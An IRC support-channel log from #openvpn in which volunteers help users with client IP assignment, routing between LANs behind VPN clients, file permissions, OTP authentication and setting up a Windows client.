03:47 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
03:47 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
03:47 <@krzee> theres some flowcharts for troubleshooting lans behind openvpn
03:47 <@krzee> if you remember <krzee> and treat any subnet behind the other peer as a "lan"     then the flowcharts should help
03:48 <@krzee> if you get stuck, tcpdump is your friend, use it everywhere on the tun devices
03:56 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has joined #openvpn
04:00 -!- niervol1 [~krystian@193.106.244.150] has joined #openvpn
04:00 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has quit [Client Quit]
04:01 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has joined #openvpn
04:01 -!- niervol [~krystian@193.106.244.150] has quit [Ping timeout: 260 seconds]
04:09 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has joined #openvpn
04:09 < oskie> hello. is it normal for OpenVPN to assign all clients the same IP address?
04:10 < oskie> (with tun config)
04:10 <@krzee> no, you need to use different certs for each client
04:10 <@krzee> you are only using 1 now, for testing, right?
04:10 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Remote host closed the connection]
04:11 -!- valparaiso is now known as valparaiso_reset
04:11 -!- valparaiso_reset is now known as valparaiso
04:11 < oskie> krzee: I'm using openvpn-auth-ldap and client-cert-not-required
04:11 <@krzee> oh
04:11 <@krzee> !authpass
04:11 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
04:11 <@krzee> use username-as-common-name
04:12 < oskie> yeah, I'm using that too, but clients still receive the same IP... is that normal? I mean, does routing even work?
04:12 < oskie> or something is very wrong
04:12 <@krzee> no, they must be bumping eachother off
04:12 <@krzee> lemme see your server config
04:13 < oskie> yeah because that's what I think is happening right now
04:13 -!- amir_ [~amir@unaffiliated/amir] has joined #openvpn
04:13 < oskie> hmm should I paste it somewhere?
04:13 <@krzee> yep
04:13 <@krzee> without all the comments if it has them
04:14 <@krzee> type !configs if you need to know how to strip them
04:16 -!- valparaiso [~valparais@ARennes-257-1-67-126.w81-53.abo.wanadoo.fr] has left #openvpn []
04:17 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
04:18 -!- brute11k [~brute11k@89.249.230.92] has quit [Ping timeout: 260 seconds]
04:18 < oskie> hmm but I use client config files as well
04:18 < oskie> let's use pastebin or something, wait
04:19 < oskie> http://pastebin.com/t6EyL0pL
04:19 -!- amir_ [~amir@unaffiliated/amir] has quit [Ping timeout: 256 seconds]
04:20 <@krzee> perfect
04:20 <@krzee> and the ccd file[s]
04:21 < oskie> they are simple: there is one file for each access level. they have one line: ifconfig-push 10.9.x.1 10.9.x.2
04:21 < oskie> and there are multiple users for each group (maybe that's the problem)
04:21 <@krzee> 10.9.1.0 and 10.9.2.0 are behind clients and 10.8.0.0/16 is behind the server, right?
04:21 < oskie> yep! 10.9.0.0 is client as well
04:22 <@krzee> let me see a server log at verb 4 with a client connecting, then another connecting
04:23 <@krzee> you can hide public ips if you like
04:23 < oskie> that's going to be a lot of text...
04:23 <@krzee> yes, it is
04:23 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has quit [Read error: Connection reset by peer]
04:23 <@krzee> pastebin wont mind ;]
04:25 < oskie> but let me first ask: can I even use ifconfig-push 10.9.1.1 10.9.1.2 for two different users? will they not get the same IP?
04:25 -!- JPeterson [~JPeterson@s213-103-211-58.cust.tele2.se] has joined #openvpn
04:26 <@krzee> definitely dont do that
04:26 <@krzee> i dont know what will happen
04:26 < oskie> ok then that's my problem
04:27 < oskie> but I can't seem to use ifconfig-pool in the client config files
04:27 <@krzee> right
04:27 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Quit: leaving]
04:28 <@krzee> you can code a client-connect script if you need that flexibility
04:28 < oskie> so is there a way to dynamically assign multiple users to a different subnet than the default
04:28 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
04:28 <@krzee> !iporder
04:28 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
04:28 < oskie> ah, ok
04:30 < oskie> if I make such a script, I need to figure out how to dynamically select IPs
04:30 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 264 seconds]
04:30 < oskie> and then write that as "ifconfig-push X Y" in the tmpfile?
04:30 <@krzee> right
04:31 <@krzee> dynamic selection should be easy enough, 6, 10, 14, 18 etc etc
04:31 < oskie> and that's "ifconfig-push SERVERIP CLIENTIP" right?
04:31 <@krzee> oh and 1 since its not the servers subnet
04:31 <@krzee> !static
04:31 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder
04:32 <@krzee> clientip serverip
04:32 <@krzee> well kinda
04:32 < oskie> ah ok!
04:32 <@krzee> clientip internal-to-openvpn-ip
04:32 <@krzee> which represents the server ip for routing purposes
04:32 < oskie> but both need to be dynamic? I can't use the same serverip for all clients, can I?
04:33 <@krzee> both change
04:33 <@krzee> .2 .1     .6 .5       .10 .9
04:33 -!- amir_ [~amir@unaffiliated/amir] has joined #openvpn
04:33 < oskie> hm, you're skipping .4 and .3?
04:34 <@krzee> skipping 4
04:34 <@krzee> the 3 was you doing math bad ;]
04:36 <@krzee> in your topology, if it is ifconfig-push x y, then y is always 1 less than x
04:36 <@krzee> and they both increase by 4 to the next /30
04:36 <@krzee> !/30
04:36 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
04:36 < oskie> ah ok
04:37 <@krzee> you dont want to use topology subnet
04:37 < oskie> now I just need to code a client-connect script that checks user group in Active Directory and assigns IP based on that
04:37 < oskie> why not topology subnet?
04:37 <@krzee> because clients can change their ip with ifconfig
04:37 < oskie> ah ok
04:37 <@krzee> however with net30 (default) they cant reach the server after doing so
04:38 <@krzee> since you are doing a lot based on ip, that is important
04:38 <@krzee> (i assume the seperation of subnets is for firewall rules)
04:39 < oskie> does that mean that a user can disrupt another user by changing his IP in topology=subnet?
04:39 < oskie> or I mean in topology mode
04:39 <@krzee> you said it right, topology subnet
04:40 <@krzee> and i dont know, may as well test it though :D
04:49 < oskie> great, I think that did it. many thanks krzee!
04:49 <@krzee> yw =]
04:50 < oskie> is it possible to for two openvpn instances to share the same --server ip address?
04:50 <@krzee> no
04:50 < oskie> ok, good
04:51 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
05:03 < pppingme> as in the ip's assigned to clients?  no
05:11 -!- gardar [~gardar@gardar.net] has joined #openvpn
05:14 -!- smooc [~smooc@62.28.98.58] has joined #openvpn
05:23 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Remote host closed the connection]
05:31 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
05:42 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has quit [Quit: ByeBye]
05:46 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
05:46 < videl> Hi
05:57 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
06:04 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Read error: No route to host]
06:07 -!- pi_ [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
06:07 -!- pi_ is now known as videl
06:07 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
06:10 -!- brute11k [~brute11k@89.249.231.11] has joined #openvpn
06:20 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
06:22 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Ping timeout: 265 seconds]
06:45 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
07:00 -!- smooc [~smooc@62.28.98.58] has quit [Read error: Connection reset by peer]
07:17 -!- ade_b [~Ade@koln-5d81bfd4.pool.mediaWays.net] has joined #openvpn
07:17 -!- ade_b [~Ade@koln-5d81bfd4.pool.mediaWays.net] has quit [Changing host]
07:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:39 -!- brute11k [~brute11k@89.249.231.11] has quit [Ping timeout: 240 seconds]
08:02 -!- mattock_afk is now known as mattock
08:03 -!- brute11k [~brute11k@89.249.231.106] has joined #openvpn
08:12 < fys> ugh .. today i go to the dentist for the first time in around 4 years.
08:22 -!- m0sphere [~m0sphere@S01060018e78c9cff.cg.shawcable.net] has quit [Read error: Connection reset by peer]
08:23 -!- m0sphere [m0sphere@S01060018e78c9cff.cg.shawcable.net] has joined #openvpn
08:23 -!- moore1 [~moore@41.206.15.31.vgccl.net] has joined #openvpn
08:28 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:36 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
08:37 -!- smooc [~smooc@62.28.98.58] has joined #openvpn
08:48 -!- Porkepix [~Porkepix@dispo-82-248-141-132.adsl.proxad.net] has quit [Ping timeout: 245 seconds]
08:50 -!- emate [~marcin@81.219.183.142] has quit [Quit: leaving]
08:50 -!- Porkepix [~Porkepix@lns-bzn-55-82-255-140-221.adsl.proxad.net] has joined #openvpn
08:57 -!- dvl-_ [~dan@pool-71-162-210-170.phlapa.fios.verizon.net] has joined #openvpn
08:58 -!- moore1 [~moore@41.206.15.31.vgccl.net] has quit []
08:59 < dvl-_> I have a working OpenVPN 2.2.2 routed solution on FreeBSD 8.2 and now I'm trying to make it run as openvpn:openvpn, not nobody:nobody.  The problem is /usr/local/etc/openvpn/keys/crl.pem
08:59 < dvl-_> CRL: cannot read: /usr/local/etc/openvpn/keys/crl.pem: Permission denied (errno=13)
08:59 < dvl-_> However:  # ls -l /usr/local/etc/openvpn/keys/crl.pem
08:59 < dvl-_> -r--r--r--  1 openvpn  openvpn  499 Feb 26  2009 /usr/local/etc/openvpn/keys/crl.pem
09:00 < dvl-_> oh.... wait... :)
09:00 < dvl-_> fixed.  :)
09:01 < dvl-_> it was /usr/local/etc/openvpn still root:wheel
09:04 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 245 seconds]
09:13 <@ecrist> :)
09:16 < dvl-_> Love it when explaining finds the problem.
09:16 < dvl-_> ecrist FYI: writing a post on ssl-admin for http://dan.langille.org/  ... should be ready latest today.
09:17 < dvl-_> ecrist I keep seeing this FAIL but no message:
09:17 < dvl-_> Creating initial CRL...Using configuration from /usr/local/etc/ssl-admin/openssl.conf
09:17 < dvl-_> Enter pass phrase for /usr/local/etc/ssl-admin/active/ca.key:
09:17 < dvl-_>  FAILssl-admin installed Wed Jan 2 15:16:46 UTC 2013
09:17 -!- niervol1 [~krystian@193.106.244.150] has quit [Remote host closed the connection]
09:17 < dvl-_> See that FAIL?  Kind of.. .confusing.
09:18 < dvl-_> if I quit and go back into ssl-admin, no errors.
09:21 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
09:24 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
09:26 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 240 seconds]
09:30 <@dazo> dvl-_: using chroot?
09:30 <@dazo> duh ... you found the issue
09:37 <@ecrist> dvl-_: that FAIL message is a red herring
09:38 <@ecrist> something i've never bothered fixing
09:38 <@ecrist> I'll fix it soon, since you've noticed/pointed it out
09:40 < dvl-_> ecrist: OK, I'll mention that in the article.
09:41 < dvl-_> dazo: no, no chroot involved, but that's an interesting idea.  All I'm doing is running openvpen as openvpn:openvpn and chown/chmod all the files so only openvpn can read them.
09:46 < dvl-_> ecrist: I can create tickets at https://www.secure-computing.net/trac/report if you like?  I have other items you might want to look at (e.g. spelling)
09:46 <@vpnHelper> Title: Available Reports – SCN Open Source (at www.secure-computing.net)
09:46 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has quit [Quit: leaving]
09:49 <@ecrist> dvl-_: that would be excellent!
09:50 < dvl-_> ecrist: will do.   :)
09:50 <@ecrist> I think I need to get a user/pass from you, since that uses .htaccess for auth
09:51 -!- smooc_ [~smooc@95.69.51.167] has joined #openvpn
09:51 <@ecrist> anon ticket creation is disabled (spam)
09:52 -!- smooc [~smooc@62.28.98.58] has quit [Ping timeout: 252 seconds]
10:11 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
10:21 -!- master_of_master [~master_of@p57B55644.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
10:23 -!- master_of_master [~master_of@p57B556D3.dip.t-dialin.net] has joined #openvpn
10:26 -!- EmperorTom [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
10:27 -!- EmperorTom is now known as _quadDamage
10:44 -!- hjf [~hjf@184-0-17-190.fibertel.com.ar] has quit [Remote host closed the connection]
10:55 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:56 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has quit [Ping timeout: 240 seconds]
11:00 -!- raidz_away is now known as raidz
11:01 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:01 -!- mode/#openvpn [+o krzee] by ChanServ
11:09 -!- EugeneKay [eugene@itvends.com] has quit [Quit: ZNC - http://znc.in]
11:09 -!- EugeneKay [eugene@go-without.me] has joined #openvpn
11:33 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn
11:35 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
11:41 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Remote host closed the connection]
11:55 -!- ade_b [~Ade@redhat/adeb] has quit [Remote host closed the connection]
11:58 -!- butch128 [~butch@TOROON63-1176061240.sdsl.bell.ca] has joined #openvpn
11:58 -!- smooc_ [~smooc@95.69.51.167] has quit [Ping timeout: 248 seconds]
11:59 < butch128> Trying to get routing working between my openvpn server, and 2 subnets i have connecting to it - anyone willing to comment on what I'm doing wrong?
12:01 < kisom> butch128: My car wont start, any comment on what I'm doing wrong?
12:02 <+pekster> Are these subnets behind your OpenVPN server or your clients?
12:02 < butch128> kisom: point taken, sec
12:02 < butch128> My setup is... OpenVPN Server (10.8.0.1), DD-WRT-1 (10.8.0.6, 192.168.5.0/24) DD-WRT-2 (10.8.0.18, 192.168.1.0/24).  From a machine on either subnet (say 192.168.1.100) i'd love to be able to just connect to 192.168.5.1.
12:02 <+pekster> !clientlan
12:02 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
12:02 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
12:02 < butch128> yep, ipforwarding is enabled
12:02 < butch128> ive added ccd files
12:03 < butch128> and iroute push entries
12:03 <+pekster> Have you seen that flowchart? And followed it?
12:03 < butch128> (on the server)
12:03 < butch128> i will do that now, thanks
12:03 <+pekster> That flowchart walks you through every step you need to get client-LAN connectivity set up. Feel free to ask here if you get stuck and need help, but the author of that diagram put time into making it very complete ;)
12:04 <+pekster> (just be sure not to skip steps :P )
12:04 < butch128> so i'm at the final step "Add a route to the router so it knows how to reach the vpn subnet"
12:04 < kisom> butch128: If you get stuck, paste your config files, routing table, iptables rules and ifconfig output somewhere and I'll have a look.
12:04 < butch128> from the router (192.168.1.1) i can ping 192.168.5.1! and its awesome!
12:05 < butch128> from my home machine though (192.168.1.100) i cannot...
12:05 <+pekster> butch128: Are you VPN clients (your *WRT devices) the default router on their respective networks?
12:05 < butch128> thanks, i'll paste the route and such
12:05 < butch128> yes, they are the defaults
12:05 <+pekster> Yea, then configs, logs, and routing views would help. Since they're the defaults, something sounds off with your routing setup (or possibly your firewalls)
12:05 < butch128> yea, turned off the firewalls too... no go
12:06 < kisom> butch128: Can you paste your stuff here? http://piratepad.net/openvpn
12:06 <@vpnHelper> Title: PiratePad: openvpn (at piratepad.net)
12:07 < butch128> http://piratepad.net/ep/pad/view/ro.rzwEcZAY/latest
12:08 <@vpnHelper> Title: PiratePad: ro.rzwEcZAY / Latest text of pad openvpn (at piratepad.net)
12:10 < kisom> butch128: Lots of routers and servers... I'll probably need a diagram on how everything is connected
12:11 < butch128> hmmm
12:11 < butch128> Server (10.8.0.1)
12:11 < butch128> Router#1 (192.168.1.1, 10.8.0.18), Router #2 (192.168.5.1, 10.8.0.1)
12:12 < butch128> two routers connect to server
12:12 < butch128> all that works smashingly well
12:12 < kisom> OK, and the server routes traffic between your routers?
12:12 < butch128> it seems to, from Router #1 (192.168.1.1) i can ssh into 192.168.5.1 (router #2)
12:13 < butch128> hmm... interesting... i didnt try this before.. from router #2 (192.168.5.1) i cannot access router#1... (192.168.1.1)... even though firewalls are disabled and the route table looks correct... that could be my problem, maybe?
12:15 <+pekster> butch128: Can you do that from the VPN server?
12:15 <+pekster> (ie: the flowchart block that asks "Can you ping the lan IP of the client?" )
12:15 < kisom> butch128: Can you please paste your iptables config and ifconfig on the server?
12:15 < butch128> root@li169-68:/etc/openvpn# ping 192.168.5.1
12:15 < butch128> PING 192.168.5.1 (192.168.5.1) 56(84) bytes of data.
12:15 < butch128> 64 bytes from 192.168.5.1: icmp_seq=1 ttl=64 time=90.0 ms
12:15 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
12:15 < butch128> huh...
12:16 < butch128> root@li169-68:/etc/openvpn# ping 192.168.1.1
12:16 < butch128> PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
12:16 < butch128> ^C
12:16 < butch128> --- 192.168.1.1 ping statistics ---
12:16 < butch128> 4 packets transmitted, 0 received, 100% packet loss, time 2999ms
12:16 < butch128> so it only pings one way...
12:16 <+pekster> Sounds like firewall. kisom's suggestion of looking at iptables rules is a good next troubleshooting step
12:16 < kisom> Yes, really sounds like a firewall
12:16 < kisom> Pings do not go "one way"
12:16 < kisom> :P
12:17 < butch128> hmmm k
12:17 <+pekster> Well, the echo-request does, but that's getting off-topic :P
12:17 < butch128> thanks, i'll double check when i'm home whether its disabled... grr
12:17 < butch128> but almost 100% it is...
12:17 < butch128> thanks for the help, it sounds like i didnt miss a step in the config then?
12:18 < kisom> Probably not since you can ping "one way" over the VPN.
12:18 <+pekster> Both clients have a good looking routing view (they route eto each other's LANs across the VPN) so my guess is your firewall isn't allowing it on the "dark" system (the one you can't reach)
12:18 < butch128> yea, k
12:19 <+pekster> If you explicitly trust all traffic coming across the secured VPN pipe, something like this tends to work well: '-A INPUT -i tun+ -j ACCEPT' and '-A FORWARD -i tun+ -j ACCEPT'
12:19 <+pekster> Tune for more security if you require it
12:20 <@krzee> ild use -I over -A but yep
12:20 < butch128> k, thanks, i'll try that too
12:20 <+pekster> krzee: That's in iptables-restore syntax ;)
12:20 < kisom> I just woke up, btw
12:20 < butch128> i turned off the firewall in dd-wrt, guess that may not have been enough
12:20 < kisom> 7 PM over here
12:20 <+pekster> Depends on what "turning off" actually does :\
12:20 < butch128> very true
12:21 <+pekster> But yea, if your client can ping the server, but server can't ping the client's LAN IP, it sounds very much like your firewall on that client needs fixing
12:22 <@krzee> if you actually "turned off" the firewall in dd-wrt it would stop doing nat and therefor probably not do what you expect of it
12:22 < chrisb> any issues with using OTP PAM with openvpn authentication? on reconnect?
12:23 <@krzee> i believe that depends on settings
12:23 <@krzee> you can use persist settings and keep it cached in memory
12:24 <+pekster> chrisb: Every re-keying event (1h by default) it'll require a full re-auth (certs and un/pw if you use it), so if the OTP changes between uses like a true OTP would, that will cause problems. You can probably do something creative with the management interface and not caching the credentials
12:25 < kisom> Disabling re-keying is an option too
12:25 < kisom> :)
12:26 <+pekster> Sure. Once every "never" you will need to re-key :P
12:26 < chrisb> this would be yubikey, so yes, real OTP
12:26 <@krzee> oh right i forgot bout that lol
12:26 <@krzee> caching a changing pw doesnt help much lol
12:26 <+pekster> chrisb: My recommendation would be to write a un/pw script that requires the actual OTP for the first auth only, then silently "passes" the user through auth without doing any further checking when it's a re-key
12:27 < chrisb> i have always had persist set, because i think my connection is too dodgy
12:27 <+pekster> chrisb: The env-vars available to the script will let you determine if it's a new or existing connection being authenticated
12:27 <+pekster> That does mean you can't use the ovpn PAM plugin as-is, though
12:27 <@krzee> persist is handy when dropping permissions and having your keys properly chmod'ed
12:28 <@krzee> ^ ild go with pekster's option
12:28 <@krzee> that way you keep forward security
12:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
12:32 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
12:35 < chrisb> interesting, thanks for these comments
12:36 < chrisb> pekster: what do you mean by "un/pw script"?
12:36 <+pekster> --user-auth-pass-verify
12:36 -!- butch128 [~butch@TOROON63-1176061240.sdsl.bell.ca] has left #openvpn []
12:37 < kisom> How does OpenVPN prompt the user for one time passwords btw?
12:43 < |Mike|> why not work with certs? ;x
12:44 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
12:49 < chrisb> |Mike|: i use certs now, i think OTP is better
12:49 < chrisb> |Mike|: am i wrong?
12:54 <@ecrist> you are
12:54 <@ecrist> using both would be good, though
13:00 < dvl-_> ecrist : yes, I need a login for your trac
13:02 < dvl-_> ecrist I just emailed you.  :)
13:08 <@ecrist> kk
13:09 <@ecrist> want to pm me a password?
13:10 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
13:13 -!- dvl-_ [~dan@pool-71-162-210-170.phlapa.fios.verizon.net] has left #openvpn []
13:14 -!- dvl-_ [~dan@pool-71-162-210-170.phlapa.fios.verizon.net] has joined #openvpn
13:14 < dvl-_> oops
13:14 -!- Syndrom [~syndrom@46.249.58.73] has left #openvpn []
13:17 -!- dazo is now known as dazo_afk
13:18 < chrisb> ecrist: what is the reasoning that cert + OTP is better than OTP?
13:18 < chrisb> ecrist: the encryption of the data channel?
13:19 -!- kyrix [~ashley@97-113-115-104.tukw.qwest.net] has joined #openvpn
13:20 < chrisb> http://www.schneier.com/blog/archives/2012/12/china_now_block.html
13:20 <@vpnHelper> Title: Schneier on Security: China Now Blocking Encryption (at www.schneier.com)
13:35 < kisom> Guess the chinese firewall got stateful
13:35 < kisom> Then again, they do not _block_ anything
13:35 < kisom> They just send RST packets
13:35 < kisom> Or at least they did a while back
13:36 <+rob0> RST is TCP. They're detecting openvpn on UDP.
13:37 < kisom> Yeah, I know
13:42 -!- brute11k [~brute11k@89.249.231.106] has quit [Quit: Leaving.]
13:50 <@ecrist> chrisb: because OTP can be shared between users a little easier than certificates.
13:50 <@ecrist> certificates can be revoked
13:51 -!- Devastator [~devas@186.214.14.80] has joined #openvpn
13:51 -!- Devastator [~devas@186.214.14.80] has quit [Changing host]
13:51 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:55 < chrisb> ecrist: meaning that if my OTP list is stolen or copied, i may not be able to remedy, but with certs, i can issue the revocation if I own the CA?
13:59 < dvl-_> I'm not using keys with my crtificiates for OpenVPN.  I don't see the benefit of using keys.
13:59 -!- baobei_ [~baobei@208.111.39.160] has joined #openvpn
13:59 < dvl-_> Reasoning: if they can steal a cert, they can steal a key......
14:00 < dvl-_> Unless, I supply the key each time openvpn starts up.  Don't really want to do that....
14:01 -!- baobei__ [~baobei@208.111.39.160] has joined #openvpn
14:01 -!- baobei_ [~baobei@208.111.39.160] has quit [Read error: Connection reset by peer]
14:11 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
14:25 <@ecrist> chrisb: that's one train of thought
14:25 <@ecrist> though, it's fairly easy to re-issue one-time passwords, as well
14:26 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 245 seconds]
14:32 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
14:43 <@ecrist> dvl-_: most people, I would guess, don't password-protect their client-side keys
14:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
14:50 < dvl-_> ecrist: I'm not protecting my server side cert. The CA is password protected...
14:50 <@ecrist> that's also probably common
14:58 -!- ade_b [~Ade@koln-5d81bfd4.pool.mediaWays.net] has joined #openvpn
14:58 -!- ade_b [~Ade@koln-5d81bfd4.pool.mediaWays.net] has quit [Changing host]
14:58 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
15:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
15:08 -!- Konigsberg7 [shawnz@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
15:08 -!- Konigsberg7 [shawnz@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
15:09 -!- shawnz [shawnz@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
15:09 -!- whyz [~e@h145n7-n-a31.ias.bredband.telia.com] has left #openvpn ["Leaving"]
15:09 -!- shawnz is now known as Konigsberg7
15:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
15:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
15:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:24 -!- mode/#openvpn [+o krzee] by ChanServ
15:45 -!- Konigsberg7 [shawnz@c-67-163-13-78.hsd1.il.comcast.net] has quit [Ping timeout: 255 seconds]
16:32 < ade_b> I have my own openvpn server and I have setup my girlfriends linux laptop to use it - how do I do this for a windows laptop
16:33 < ade_b> I cant see anywhere in the windows client to specify the certificates
16:33 < ade_b> I guess I need to create a "Connection Profile" to import  -  can anyone help me out?
16:36 < ngharo> You create a config and name it with an extension of .ovpn
16:37 -!- baobei__ [~baobei@208.111.39.160] has quit [Ping timeout: 245 seconds]
16:37 < ngharo> the config should look the same as linux except specify 'dev-node' instead of 'dev' iirc
16:49 < plaisthos> ngharo: dev tun/dev tap work fine on windows
16:49 < ade_b> ngharo, ok thanks
16:49 < ngharo> thought you had to match 'dev-node' with the name of the tap interface
16:50 <@krzee> ngharo, you renaming it?
16:50 < ngharo> not me, ade_b
16:50 <@krzee> ahh right
16:50 < ngharo> i shouldnt even be commenting on windows setup.  It's been a while since i've done that
16:50 <@krzee> dev-node isnt needed unless renaming
16:51 < ngharo> oh ok
16:52 <@krzee> you know offhand if when i dd a drive to another drive, if all partition info and gpart info gets copied over?
16:52 < ade_b> ngharo, thanks and I put the certs in her "Docs & Settings folders" and just specify the full path?
16:52 < ngharo> ade_b: yep or for easy mode just place them in the ovpn config directory
16:53 < ngharo> krzee: it should.
16:53 < ngharo> pretty sure all the partition info is stored at the beginning of the drive
16:54 < plaisthos> krzee: yes. For gpt you should run gdisk or similar to fix the backup table (it is normally located at the end of the disk) if you are copying to a larger disc
16:55 < ade_b> great, Im using tun interfaces for linux, so I need to change that to tap on Winodows?
16:56 <@krzee> the disk is EXACTLY the same size =]
16:58 < ngharo> ade_b: I don't believe so
16:58 <@krzee> ade_b, you must use tun in windows too
16:58 <@krzee> all sides must agree
16:59 <@krzee> in windows they call it a tap device, but it supports tun mode
16:59 -!- Eagleman7 [~androirc@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:59 <@krzee> i have requested a name change to "tuntap device" but it didnt stick
17:00 <+pekster> krzee: The code uses 'tun.c' anyway :P
17:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 240 seconds]
17:01 < ade_b> ngharo, krzee thanks
17:01 < plaisthos> pekster: in (very) old version of the windows tap driver, only tap was possible :)
17:02 <+pekster> Ah, hence the device name. Ah well, it'll go well with 'Referer' headers :P
17:03 <@krzee> hah i didnt know there was a time when it was actually tap only
17:03 <@krzee> i guess it makes sense tho, tun emulation mode would kinda have to come after
17:04 -!- mode/#openvpn [+v plaisthos] by krzee
17:07 -!- Eagleman7 [~androirc@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: AndroIRC - Android IRC Client ( http://www.androirc.com )]
17:12 -!- baobei_ [~baobei@58.37.20.245] has joined #openvpn
17:24 -!- F^4 is now known as F^4[A]
17:31 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
17:37 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
